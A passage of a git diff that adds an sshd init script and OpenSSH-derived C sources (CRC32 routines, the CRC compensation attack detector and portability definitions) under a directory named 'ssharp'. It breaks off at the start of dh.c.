+# +# /sbin/rcsshd +# + +. /etc/rc.config + +# Determine the base and follow a runlevel link name. +base=${0##*/} +link=${base#*[SK][0-9][0-9]} + +# Force execution if not called by a runlevel directory. +test $link = $base && START_SSHD=yes +test "$START_SSHD" = yes || exit 0 + +# The echo return value for success (defined in /etc/rc.config). +return=$rc_done +case "$1" in + start) + echo -n "Starting service sshd" + ## Start daemon with startproc(8). If this fails + ## the echo return value is set appropriate. + + startproc /usr/sbin/sshd || return=$rc_failed + + echo -e "$return" + ;; + stop) + echo -n "Stopping service sshd" + ## Stop daemon with killproc(8) and if this fails + ## set echo the echo return value. + + killproc -TERM /usr/sbin/sshd || return=$rc_failed + + echo -e "$return" + ;; + restart) + ## If first returns OK call the second, if first or + ## second command fails, set echo return value. + $0 stop && $0 start || return=$rc_failed + ;; + reload) + ## Choose ONE of the following two cases: + + ## First possibility: A few services accepts a signal + ## to reread the (changed) configuration. + + echo -n "Reload service sshd" + killproc -HUP /usr/sbin/sshd || return=$rc_failed + echo -e "$return" + ;; + status) + echo -n "Checking for service sshd" + ## Check status with checkproc(8), if process is running + ## checkproc will return with exit status 0. + + checkproc /usr/sbin/sshd && echo OK || echo No process + ;; + probe) + ## Optional: Probe for the necessity of a reload, + ## give out the argument which is required for a reload. + + test /etc/ssh/sshd_config -nt /var/run/sshd.pid && echo reload + ;; + *) + echo "Usage: $0 {start|stop|status|restart|reload[|probe]}" + exit 1 + ;; +esac + +# Inform the caller not only verbosely and set an exit status. +test "$return" = "$rc_done" || exit 1 +exit 0 diff --git a/other/ssharp/crc32.c b/other/ssharp/crc32.c new file mode 100644 index 0000000..4774c8b --- /dev/null +++ b/other/ssharp/crc32.c @@ -0,0 +1,114 @@ +/* + * COPYRIGHT (C) 1986 Gary S. Brown. You may use this program, or + * code or tables extracted from it, as desired without restriction. + * + * First, the polynomial itself and its table of feedback terms. The + * polynomial is + * X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 + * + * Note that we take it "backwards" and put the highest-order term in + * the lowest-order bit. The X^32 term is "implied"; the LSB is the + * X^31 term, etc. The X^0 term (usually shown as "+1") results in + * the MSB being 1 + * + * Note that the usual hardware shift register implementation, which + * is what we're using (we're merely optimizing it by doing eight-bit + * chunks at a time) shifts bits into the lowest-order term. In our + * implementation, that means shifting towards the right. Why do we + * do it this way? Because the calculated CRC must be transmitted in + * order from highest-order term to lowest-order term. UARTs transmit + * characters in order from LSB to MSB. By storing the CRC this way + * we hand it to the UART in the order low-byte to high-byte; the UART + * sends each low-bit to hight-bit; and the result is transmission bit + * by bit from highest- to lowest-order term without requiring any bit + * shuffling on our part. Reception works similarly + * + * The feedback terms table consists of 256, 32-bit entries. Notes + * + * The table can be generated at runtime if desired; code to do so + * is shown later. It might not be obvious, but the feedback + * terms simply represent the results of eight shift/xor opera + * tions for all combinations of data and CRC register values + * + * The values must be right-shifted by eight bits by the "updcrc + * logic; the shift must be u_(bring in zeroes). On some + * hardware you could probably optimize the shift in assembler by + * using byte-swap instructions + * polynomial $edb88320 + */ + + +#include "includes.h" +RCSID("$OpenBSD: crc32.c,v 1.8 2000/12/19 23:17:56 markus Exp $"); + +#include "crc32.h" + +static u_int crc32_tab[] = { + 0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L, + 0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L, + 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L, + 0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL, + 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L, + 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L, + 0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L, + 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL, + 0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L, + 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL, + 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L, + 0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L, + 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L, + 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL, + 0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL, + 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L, + 0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL, + 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L, + 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L, + 0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L, + 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL, + 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L, + 0xaa0a4c5fL, 0xdd0d7cc9L, 0x5005713cL, 0x270241aaL, 0xbe0b1010L, + 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL, + 0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L, + 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL, 0xedb88320L, 0x9abfb3b6L, + 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L, + 0x73dc1683L, 0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L, + 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L, 0xf00f9344L, + 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL, + 0x196c3671L, 0x6e6b06e7L, 0xfed41b76L, 0x89d32be0L, 0x10da7a5aL, + 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L, + 0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L, + 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL, 0xd80d2bdaL, 0xaf0a1b4cL, + 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL, + 0x4669be79L, 0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L, + 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL, 0xc5ba3bbeL, + 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L, + 0x2cd99e8bL, 0x5bdeae1dL, 0x9b64c2b0L, 0xec63f226L, 0x756aa39cL, + 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L, + 0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL, + 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L, 0x86d3d2d4L, 0xf1d4e242L, + 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L, + 0x18b74777L, 0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL, + 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L, 0xa00ae278L, + 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L, + 0x4969474dL, 0x3e6e77dbL, 0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L, + 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L, + 0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L, + 0xcdd70693L, 0x54de5729L, 0x23d967bfL, 0xb3667a2eL, 0xc4614ab8L, + 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL, + 0x2d02ef8dL +}; + +/* Return a 32-bit CRC of the contents of the buffer. */ + +u_int +ssh_crc32(const u_char *s, u_int len) +{ + u_int i; + u_int crc32val; + + crc32val = 0; + for (i = 0; i < len; i ++) { + crc32val = crc32_tab[(crc32val ^ s[i]) & 0xff] ^ (crc32val >> 8); + } + return crc32val; +} diff --git a/other/ssharp/crc32.h b/other/ssharp/crc32.h new file mode 100644 index 0000000..c469a90 --- /dev/null +++ b/other/ssharp/crc32.h @@ -0,0 +1,25 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1992 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions for computing 32-bit CRC. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: crc32.h,v 1.10 2001/03/02 18:54:31 deraadt Exp $"); */ + +#ifndef CRC32_H +#define CRC32_H + +/* + * This computes a 32 bit CRC of the data in the buffer, and returns the CRC. + * The polynomial used is 0xedb88320. + */ +u_int ssh_crc32(const u_char *buf, u_int len); + +#endif /* CRC32_H */ diff --git a/other/ssharp/deattack.c b/other/ssharp/deattack.c new file mode 100644 index 0000000..36023e0 --- /dev/null +++ b/other/ssharp/deattack.c @@ -0,0 +1,156 @@ +/* $OpenBSD: deattack.c,v 1.13 2001/03/01 02:45:10 deraadt Exp $ */ + +/* + * Cryptographic attack detector for ssh - source code + * + * Copyright (c) 1998 CORE SDI S.A., Buenos Aires, Argentina. + * + * All rights reserved. Redistribution and use in source and binary + * forms, with or without modification, are permitted provided that + * this copyright notice is retained. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED + * WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR + * CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF THIS + * SOFTWARE. + * + * Ariel Futoransky + * + */ + +#include "includes.h" +#include "deattack.h" +#include "log.h" +#include "crc32.h" +#include "getput.h" +#include "xmalloc.h" + +/* SSH Constants */ +#define SSH_MAXBLOCKS (32 * 1024) +#define SSH_BLOCKSIZE (8) + +/* Hashing constants */ +#define HASH_MINSIZE (8 * 1024) +#define HASH_ENTRYSIZE (2) +#define HASH_FACTOR(x) ((x)*3/2) +#define HASH_UNUSEDCHAR (0xff) +#define HASH_UNUSED (0xffff) +#define HASH_IV (0xfffe) + +#define HASH_MINBLOCKS (7*SSH_BLOCKSIZE) + + +/* Hash function (Input keys are cipher results) */ +#define HASH(x) GET_32BIT(x) + +#define CMP(a, b) (memcmp(a, b, SSH_BLOCKSIZE)) + + +void +crc_update(u_int32_t *a, u_int32_t b) +{ + b ^= *a; + *a = ssh_crc32((u_char *) &b, sizeof(b)); +} + +/* detect if a block is used in a particular pattern */ +int +check_crc(u_char *S, u_char *buf, u_int32_t len, + u_char *IV) +{ + u_int32_t crc; + u_char *c; + + crc = 0; + if (IV && !CMP(S, IV)) { + crc_update(&crc, 1); + crc_update(&crc, 0); + } + for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) { + if (!CMP(S, c)) { + crc_update(&crc, 1); + crc_update(&crc, 0); + } else { + crc_update(&crc, 0); + crc_update(&crc, 0); + } + } + return (crc == 0); +} + + +/* Detect a crc32 compensation attack on a packet */ +int +detect_attack(u_char *buf, u_int32_t len, u_char *IV) +{ + static u_int16_t *h = (u_int16_t *) NULL; + static u_int32_t n = HASH_MINSIZE / HASH_ENTRYSIZE; + register u_int32_t i, j; + u_int32_t l; + register u_char *c; + u_char *d; + + if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || + len % SSH_BLOCKSIZE != 0) { + fatal("detect_attack: bad length %d", len); + } + for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2) + ; + + if (h == NULL) { + debug("Installing crc compensation attack detector."); + n = l; + h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE); + } else { + if (l > n) { + n = l; + h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE); + } + } + + if (len <= HASH_MINBLOCKS) { + for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) { + if (IV && (!CMP(c, IV))) { + if ((check_crc(c, buf, len, IV))) + return (DEATTACK_DETECTED); + else + break; + } + for (d = buf; d < c; d += SSH_BLOCKSIZE) { + if (!CMP(c, d)) { + if ((check_crc(c, buf, len, IV))) + return (DEATTACK_DETECTED); + else + break; + } + } + } + return (DEATTACK_OK); + } + memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE); + + if (IV) + h[HASH(IV) & (n - 1)] = HASH_IV; + + for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) { + for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED; + i = (i + 1) & (n - 1)) { + if (h[i] == HASH_IV) { + if (!CMP(c, IV)) { + if (check_crc(c, buf, len, IV)) + return (DEATTACK_DETECTED); + else + break; + } + } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) { + if (check_crc(c, buf, len, IV)) + return (DEATTACK_DETECTED); + else + break; + } + } + h[i] = j; + } + return (DEATTACK_OK); +} diff --git a/other/ssharp/deattack.h b/other/ssharp/deattack.h new file mode 100644 index 0000000..3907159 --- /dev/null +++ b/other/ssharp/deattack.h @@ -0,0 +1,30 @@ +/* $OpenBSD: deattack.h,v 1.5 2001/01/29 01:58:15 niklas Exp $ */ + +/* + * Cryptographic attack detector for ssh - Header file + * + * Copyright (c) 1998 CORE SDI S.A., Buenos Aires, Argentina. + * + * All rights reserved. Redistribution and use in source and binary + * forms, with or without modification, are permitted provided that + * this copyright notice is retained. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED + * WARRANTIES ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR + * CONSEQUENTIAL DAMAGES RESULTING FROM THE USE OR MISUSE OF THIS + * SOFTWARE. + * + * Ariel Futoransky + * + */ + +#ifndef _DEATTACK_H +#define _DEATTACK_H + +/* Return codes */ +#define DEATTACK_OK 0 +#define DEATTACK_DETECTED 1 + +int detect_attack(u_char *buf, u_int32_t len, u_char IV[8]); +#endif diff --git a/other/ssharp/defines.h b/other/ssharp/defines.h new file mode 100644 index 0000000..ad622f1 --- /dev/null +++ b/other/ssharp/defines.h @@ -0,0 +1,531 @@ +#ifndef _DEFINES_H +#define _DEFINES_H + +/* $Id: defines.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +/* Some platforms need this for the _r() functions */ +#if !defined(_REENTRANT) && !defined(SNI) +# define _REENTRANT 1 +#endif + +/* Necessary headers */ + +#include /* For [u]intxx_t */ +#include /* For SHUT_XXXX */ +#include /* For MAXPATHLEN and roundup() */ +#include /* For typedefs */ +#include /* For IPv6 macros */ +#include /* For IPTOS macros */ +#ifdef HAVE_SYS_UN_H +# include /* For SUN_LEN */ +#endif +#ifdef HAVE_SYS_BITYPES_H +# include /* For u_intXX_t */ +#endif +#ifdef HAVE_PATHS_H +# include /* For _PATH_XXX */ +#endif +#ifdef HAVE_LIMITS_H +# include /* For PATH_MAX */ +#endif +#ifdef HAVE_SYS_TIME_H +# include /* For timersub */ +#endif +#ifdef HAVE_MAILLOCK_H +# include /* For _PATH_MAILDIR */ +#endif +#ifdef HAVE_SYS_CDEFS_H +# include /* For __P() */ +#endif +#ifdef HAVE_SYS_SYSMACROS_H +# include /* For MIN, MAX, etc */ +#endif +#ifdef HAVE_SYS_STAT_H +# include /* For S_* constants and macros */ +#endif +#ifdef HAVE_NEXT +# include +#endif + +#include /* For STDIN_FILENO, etc */ +#include /* Struct winsize */ +#include /* For O_NONBLOCK */ + +/* Constants */ + +#ifndef SHUT_RDWR +enum +{ + SHUT_RD = 0, /* No more receptions. */ + SHUT_WR, /* No more transmissions. */ + SHUT_RDWR /* No more receptions or transmissions. */ +}; +# define SHUT_RD SHUT_RD +# define SHUT_WR SHUT_WR +# define SHUT_RDWR SHUT_RDWR +#endif + +#ifndef IPTOS_LOWDELAY +# define IPTOS_LOWDELAY 0x10 +# define IPTOS_THROUGHPUT 0x08 +# define IPTOS_RELIABILITY 0x04 +# define IPTOS_LOWCOST 0x02 +# define IPTOS_MINCOST IPTOS_LOWCOST +#endif /* IPTOS_LOWDELAY */ + +#ifndef MAXPATHLEN +# ifdef PATH_MAX +# define MAXPATHLEN PATH_MAX +# else /* PATH_MAX */ +# define MAXPATHLEN 64 /* Should be safe */ +# endif /* PATH_MAX */ +#endif /* MAXPATHLEN */ + +#ifndef STDIN_FILENO +# define STDIN_FILENO 0 +#endif +#ifndef STDOUT_FILENO +# define STDOUT_FILENO 1 +#endif +#ifndef STDERR_FILENO +# define STDERR_FILENO 2 +#endif + +#ifndef NGROUPS_MAX /* Disable groupaccess if NGROUP_MAX is not set */ +#define NGROUPS_MAX 0 +#endif + +#ifndef O_NONBLOCK /* Non Blocking Open */ +# define O_NONBLOCK 00004 +#endif + +#ifndef S_ISDIR +# define S_ISDIR(mode) (((mode) & (_S_IFMT)) == (_S_IFDIR)) +#endif /* S_ISDIR */ + +#ifndef S_ISREG +# define S_ISREG(mode) (((mode) & (_S_IFMT)) == (_S_IFREG)) +#endif /* S_ISREG */ + +#ifndef S_ISLNK +# define S_ISLNK(mode) (((mode) & S_IFMT) == S_IFLNK) +#endif /* S_ISLNK */ + +#ifndef S_IXUSR +# define S_IXUSR 0000100 /* execute/search permission, */ +# define S_IXGRP 0000010 /* execute/search permission, */ +# define S_IXOTH 0000001 /* execute/search permission, */ +# define _S_IWUSR 0000200 /* write permission, */ +# define S_IWUSR _S_IWUSR /* write permission, owner */ +# define S_IWGRP 0000020 /* write permission, group */ +# define S_IWOTH 0000002 /* write permission, other */ +# define S_IRUSR 0000400 /* read permission, owner */ +# define S_IRGRP 0000040 /* read permission, group */ +# define S_IROTH 0000004 /* read permission, other */ +# define S_IRWXU 0000700 /* read, write, execute */ +# define S_IRWXG 0000070 /* read, write, execute */ +# define S_IRWXO 0000007 /* read, write, execute */ +#endif /* S_IXUSR */ + +/* Types */ + +/* If sys/types.h does not supply intXX_t, supply them ourselves */ +/* (or die trying) */ + + +#ifndef HAVE_U_INT +typedef unsigned int u_int; +#endif + +#ifndef HAVE_INTXX_T +# if (SIZEOF_CHAR == 1) +typedef char int8_t; +# else +# error "8 bit int type not found." +# endif +# if (SIZEOF_SHORT_INT == 2) +typedef short int int16_t; +# else +# ifdef _CRAY +typedef long int16_t; +# else +# error "16 bit int type not found." +# endif /* _CRAY */ +# endif +# if (SIZEOF_INT == 4) +typedef int int32_t; +# else +# ifdef _CRAY +typedef long int32_t; +# else +# error "32 bit int type not found." +# endif /* _CRAY */ +# endif +#endif + +/* If sys/types.h does not supply u_intXX_t, supply them ourselves */ +#ifndef HAVE_U_INTXX_T +# ifdef HAVE_UINTXX_T +typedef uint8_t u_int8_t; +typedef uint16_t u_int16_t; +typedef uint32_t u_int32_t; +# define HAVE_U_INTXX_T 1 +# else +# if (SIZEOF_CHAR == 1) +typedef unsigned char u_int8_t; +# else +# error "8 bit int type not found." +# endif +# if (SIZEOF_SHORT_INT == 2) +typedef unsigned short int u_int16_t; +# else +# ifdef _CRAY +typedef unsigned long u_int16_t; +# else +# error "16 bit int type not found." +# endif +# endif +# if (SIZEOF_INT == 4) +typedef unsigned int u_int32_t; +# else +# ifdef _CRAY +typedef unsigned long u_int32_t; +# else +# error "32 bit int type not found." +# endif +# endif +# endif +#endif + +/* 64-bit types */ +#ifndef HAVE_INT64_T +# if (SIZEOF_LONG_INT == 8) +typedef long int int64_t; +# define HAVE_INT64_T 1 +# else +# if (SIZEOF_LONG_LONG_INT == 8) +typedef long long int int64_t; +# define HAVE_INT64_T 1 +# define HAVE_LONG_LONG_INT +# endif +# endif +#endif +#ifndef HAVE_U_INT64_T +# if (SIZEOF_LONG_INT == 8) +typedef unsigned long int u_int64_t; +# define HAVE_U_INT64_T 1 +# else +# if (SIZEOF_LONG_LONG_INT == 8) +typedef unsigned long long int u_int64_t; +# define HAVE_U_INT64_T 1 +# endif +# endif +#endif + +#ifndef HAVE_SOCKLEN_T +typedef unsigned int socklen_t; +# define HAVE_SOCKLEN_T +#endif /* HAVE_SOCKLEN_T */ + +#ifndef HAVE_SIZE_T +typedef unsigned int size_t; +# define HAVE_SIZE_T +#endif /* HAVE_SIZE_T */ + +#ifndef HAVE_SSIZE_T +typedef int ssize_t; +# define HAVE_SSIZE_T +#endif /* HAVE_SSIZE_T */ + +#ifndef HAVE_CLOCK_T +typedef long clock_t; +# define HAVE_CLOCK_T +#endif /* HAVE_CLOCK_T */ + +#ifndef HAVE_SA_FAMILY_T +typedef int sa_family_t; +# define HAVE_SA_FAMILY_T +#endif /* HAVE_SA_FAMILY_T */ + +#ifndef HAVE_PID_T +typedef int pid_t; +# define HAVE_PID_T +#endif /* HAVE_PID_T */ + +#ifndef HAVE_MODE_T +typedef int mode_t; +# define HAVE_MODE_T +#endif /* HAVE_MODE_T */ + +#if !defined(HAVE_SS_FAMILY_IN_SS) && defined(HAVE___SS_FAMILY_IN_SS) +# define ss_family __ss_family +#endif /* !defined(HAVE_SS_FAMILY_IN_SS) && defined(HAVE_SA_FAMILY_IN_SS) */ + +#ifndef HAVE_SYS_UN_H +struct sockaddr_un { + short sun_family; /* AF_UNIX */ + char sun_path[108]; /* path name (gag) */ +}; +#endif /* HAVE_SYS_UN_H */ + +#if defined(BROKEN_SYS_TERMIO_H) && !defined(_STRUCT_WINSIZE) +#define _STRUCT_WINSIZE +struct winsize { + unsigned short ws_row; /* rows, in characters */ + unsigned short ws_col; /* columns, in character */ + unsigned short ws_xpixel; /* horizontal size, pixels */ + unsigned short ws_ypixel; /* vertical size, pixels */ +}; +#endif + +/* Paths */ + +#ifndef _PATH_BSHELL +# define _PATH_BSHELL "/bin/sh" +#endif +#ifndef _PATH_CSHELL +# define _PATH_CSHELL "/bin/csh" +#endif +#ifndef _PATH_SHELLS +# define _PATH_SHELLS "/etc/shells" +#endif + +#ifdef USER_PATH +# ifdef _PATH_STDPATH +# undef _PATH_STDPATH +# endif +# define _PATH_STDPATH USER_PATH +#endif + +#ifndef _PATH_STDPATH +# define _PATH_STDPATH "/usr/bin:/bin:/usr/sbin:/sbin" +#endif + +#ifndef _PATH_DEVNULL +# define _PATH_DEVNULL "/dev/null" +#endif + +#ifndef MAIL_DIRECTORY +# define MAIL_DIRECTORY "/var/spool/mail" +#endif + +#ifndef MAILDIR +# define MAILDIR MAIL_DIRECTORY +#endif + +#if !defined(_PATH_MAILDIR) && defined(MAILDIR) +# define _PATH_MAILDIR MAILDIR +#endif /* !defined(_PATH_MAILDIR) && defined(MAILDIR) */ + +#ifndef _PATH_RSH +# ifdef RSH_PATH +# define _PATH_RSH RSH_PATH +# else /* RSH_PATH */ +# define _PATH_RSH "/usr/bin/rsh" +# endif /* RSH_PATH */ +#endif /* _PATH_RSH */ + +#ifndef _PATH_NOLOGIN +# define _PATH_NOLOGIN "/etc/nologin" +#endif + +/* Define this to be the path of the xauth program. */ +#ifndef XAUTH_PATH +#define XAUTH_PATH "/usr/X11R6/bin/xauth" +#endif /* XAUTH_PATH */ + +#ifndef _PATH_TTY +# define _PATH_TTY "/dev/tty" +#endif + +/* Macros */ + +#if defined(HAVE_LOGIN_GETCAPBOOL) && defined(HAVE_LOGIN_CAP_H) +# define HAVE_LOGIN_CAP +#endif + +#ifndef MAX +# define MAX(a,b) (((a)>(b))?(a):(b)) +# define MIN(a,b) (((a)<(b))?(a):(b)) +#endif + +#ifndef roundup +# define roundup(x, y) ((((x)+((y)-1))/(y))*(y)) +#endif + +#ifndef timersub +#define timersub(a, b, result) \ + do { \ + (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ + (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ + if ((result)->tv_usec < 0) { \ + --(result)->tv_sec; \ + (result)->tv_usec += 1000000; \ + } \ + } while (0) +#endif + +#ifndef __P +# define __P(x) x +#endif + +#if !defined(IN6_IS_ADDR_V4MAPPED) +# define IN6_IS_ADDR_V4MAPPED(a) \ + ((((u_int32_t *) (a))[0] == 0) && (((u_int32_t *) (a))[1] == 0) && \ + (((u_int32_t *) (a))[2] == htonl (0xffff))) +#endif /* !defined(IN6_IS_ADDR_V4MAPPED) */ + +#if !defined(__GNUC__) || (__GNUC__ < 2) +# define __attribute__(x) +#endif /* !defined(__GNUC__) || (__GNUC__ < 2) */ + +#ifndef SUN_LEN +#define SUN_LEN(su) \ + (sizeof(*(su)) - sizeof((su)->sun_path) + strlen((su)->sun_path)) +#endif /* SUN_LEN */ + +/* Function replacement / compatibility hacks */ + +/* In older versions of libpam, pam_strerror takes a single argument */ +#ifdef HAVE_OLD_PAM +# define PAM_STRERROR(a,b) pam_strerror((b)) +#else +# define PAM_STRERROR(a,b) pam_strerror((a),(b)) +#endif + +#ifdef PAM_SUN_CODEBASE +# define PAM_MSG_MEMBER(msg, n, member) ((*(msg))[(n)].member) +#else +# define PAM_MSG_MEMBER(msg, n, member) ((msg)[(n)]->member) +#endif + +#if defined(BROKEN_GETADDRINFO) && defined(HAVE_GETADDRINFO) +# undef HAVE_GETADDRINFO +#endif +#if defined(BROKEN_GETADDRINFO) && defined(HAVE_FREEADDRINFO) +# undef HAVE_FREEADDRINFO +#endif +#if defined(BROKEN_GETADDRINFO) && defined(HAVE_GAI_STRERROR) +# undef HAVE_GAI_STRERROR +#endif + +#if !defined(HAVE_MEMMOVE) && defined(HAVE_BCOPY) +# define memmove(s1, s2, n) bcopy((s2), (s1), (n)) +#endif /* !defined(HAVE_MEMMOVE) && defined(HAVE_BCOPY) */ + +#if !defined(HAVE_ATEXIT) && defined(HAVE_ON_EXIT) +# define atexit(a) on_exit(a) +#else +# if defined(HAVE_XATEXIT) +# define atexit(a) xatexit(a) +# endif /* defined(HAVE_XATEXIT) */ +#endif /* !defined(HAVE_ATEXIT) && defined(HAVE_ON_EXIT) */ + +#if defined(HAVE_VHANGUP) && !defined(HAVE_DEV_PTMX) +# define USE_VHANGUP +#endif /* defined(HAVE_VHANGUP) && !defined(HAVE_DEV_PTMX) */ + +#ifndef GETPGRP_VOID +# define getpgrp() getpgrp(0) +#endif + +/* + * Define this to use pipes instead of socketpairs for communicating with the + * client program. Socketpairs do not seem to work on all systems. + * + * configure.in sets this for a few OS's which are known to have problems + * but you may need to set it yourself + */ +/* #define USE_PIPES 1 */ + +/** + ** login recorder definitions + **/ + +/* preprocess */ + +#ifdef HAVE_UTMP_H +# ifdef HAVE_TIME_IN_UTMP +# include +# endif +# include +#endif +#ifdef HAVE_UTMPX_H +# ifdef HAVE_TV_IN_UTMPX +# include +# endif +# include +#endif +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +/* FIXME: put default paths back in */ +#ifndef UTMP_FILE +# ifdef _PATH_UTMP +# define UTMP_FILE _PATH_UTMP +# else +# ifdef CONF_UTMP_FILE +# define UTMP_FILE CONF_UTMP_FILE +# endif +# endif +#endif +#ifndef WTMP_FILE +# ifdef _PATH_WTMP +# define WTMP_FILE _PATH_WTMP +# else +# ifdef CONF_WTMP_FILE +# define WTMP_FILE CONF_WTMP_FILE +# endif +# endif +#endif +/* pick up the user's location for lastlog if given */ +#ifndef LASTLOG_FILE +# ifdef _PATH_LASTLOG +# define LASTLOG_FILE _PATH_LASTLOG +# else +# ifdef CONF_LASTLOG_FILE +# define LASTLOG_FILE CONF_LASTLOG_FILE +# endif +# endif +#endif + + +/* The login() library function in libutil is first choice */ +#if defined(HAVE_LOGIN) && !defined(DISABLE_LOGIN) +# define USE_LOGIN + +#else +/* Simply select your favourite login types. */ +/* Can't do if-else because some systems use several... */ +# if defined(UTMPX_FILE) && !defined(DISABLE_UTMPX) +# define USE_UTMPX +# endif +# if defined(UTMP_FILE) && !defined(DISABLE_UTMP) +# define USE_UTMP +# endif +# if defined(WTMPX_FILE) && !defined(DISABLE_WTMPX) +# define USE_WTMPX +# endif +# if defined(WTMP_FILE) && !defined(DISABLE_WTMP) +# define USE_WTMP +# endif + +#endif + +/* I hope that the presence of LASTLOG_FILE is enough to detect this */ +#if defined(LASTLOG_FILE) && !defined(DISABLE_LASTLOG) +# define USE_LASTLOG +#endif + +/* which type of time to use? (api.c) */ +#ifdef HAVE_SYS_TIME_H +# define USE_TIMEVAL +#endif + +/** end of login recorder definitions */ + +#endif /* _DEFINES_H */ diff --git a/other/ssharp/dh.c b/other/ssharp/dh.c new file mode 100644 index 0000000..575522d --- /dev/null +++ b/other/ssharp/dh.c @@ -0,0 +1,294 @@ +/* + * Copyright (c) 2000 Niels Provos. All rights reserved. + 